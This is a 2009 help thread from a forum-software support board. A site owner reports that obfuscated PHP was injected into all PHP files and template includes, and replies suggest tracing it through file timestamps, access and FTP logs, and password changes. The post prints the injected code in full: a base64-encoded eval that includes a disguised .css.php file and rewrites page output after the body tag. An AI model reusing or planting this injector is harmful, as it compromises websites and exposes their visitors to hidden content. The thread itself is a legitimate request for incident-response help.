I have someone/something hacking my forum

Print Thread

Hop To

#229391 09/23/2009 12:56 PM

Joined: Jun 2006

Posts: 197

California

ehm1

enthusiast

ehm1

enthusiast

Joined: Jun 2006

Posts: 197

California

I have someone/something hacking my forum and cant find what is the thing.

The code below is being inserted on this fields:
1) Control Panel>Display Options>HTML Includes:
Default Header
Default Footer
Default Insert

2) Custom Portal Island
ALL my custom portal Islands

Any ideas how to prevent this to happen?

I bit of more info as I'm researching:
ALL my .PHP files have this code inserted on the very beginning of the file.
I'm open file by file and they show that the code was inserted there yesterday, 09/22 all at the same time 1:46PM

what I'm looking for here???
Thank you

Code inserted:

PHP Code





<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9pbWlnY29tL3B1YmxpY19odG1sL2VudmlhTWFpbC9hZG1pbi9GQ0tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2ltaWdjb20vcHVibGljX2h0bWwvZW52aWFNYWlsL2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

Last edited by ehm1; 09/23/2009 1:33 PM.

Re: I have someone/something hacking my forum ehm1 #229392 09/23/2009 1:35 PM
Joined: Jun 2006 Posts: 9,242 Likes: 1 Aberdeen, WA R Rick Former Developer
Rick Former Developer R Joined: Jun 2006 Posts: 9,242 Likes: 1 Aberdeen, WA	If they are putting it into those files then it sounds like they are sticking it into files that are web writable. So, it's possible it's some sort of web based exploit. What you need to do is look at the timestamps that the files are being modified and then look through the access logs for the same timestamps and see if there is anything peculiar in the logs. Worked on one similar last week where they had hacked an ad program and were using that to do this same sort of stuff.

Re: I have someone/something hacking my forum Rick #229394 09/23/2009 2:29 PM
Joined: Jun 2006 Posts: 197 California E ehm1 enthusiast
ehm1 enthusiast E Joined: Jun 2006 Posts: 197 California	and there is any way to block it? some files were changed where the server is 0644, so the web interface will not be able to change those (right??? I'm not an expert here). So, I will think that it's more like it was changed from inside. Some other posts on the internet comment about it being create via AVATAR folders (because the hacker can upload files there).

Re: I have someone/something hacking my forum ehm1 #229396 09/23/2009 3:28 PM
Joined: Dec 2003 Posts: 6,562 Likes: 78 Lutz,FL Ruben
Ruben Joined: Dec 2003 Posts: 6,562 Likes: 78 Lutz,FL	I would also start with changing all of your passwords. Ubb, Site control panel and ftp access. Blue Man Group There is no such thing as stupid questions. Just stupid answers

Re: I have someone/something hacking my forum ehm1 #229397 09/23/2009 3:28 PM
Joined: Jun 2006 Posts: 9,242 Likes: 1 Aberdeen, WA R Rick Former Developer
Rick Former Developer R Joined: Jun 2006 Posts: 9,242 Likes: 1 Aberdeen, WA	The only way to block it is to track it down. If they are changing files that are 0644, then it really doesn't sound like a normal web based exploit, as those can only overwrite files that it can actually write to. So that sounds like it's possibly coming via FTP, could be your cpanel or direct access to the server. Really the only thing you can do is try and figure out where it's coming from. Timestamps are invaluable. You need to compare those timestamps with your FTP access logs if you can get a hold of them.

Link Copied to Clipboard

UBB.threads PHP Forum Software Community Forums UBB.threads 7 Version 7 Support I have someone/something hacking my forum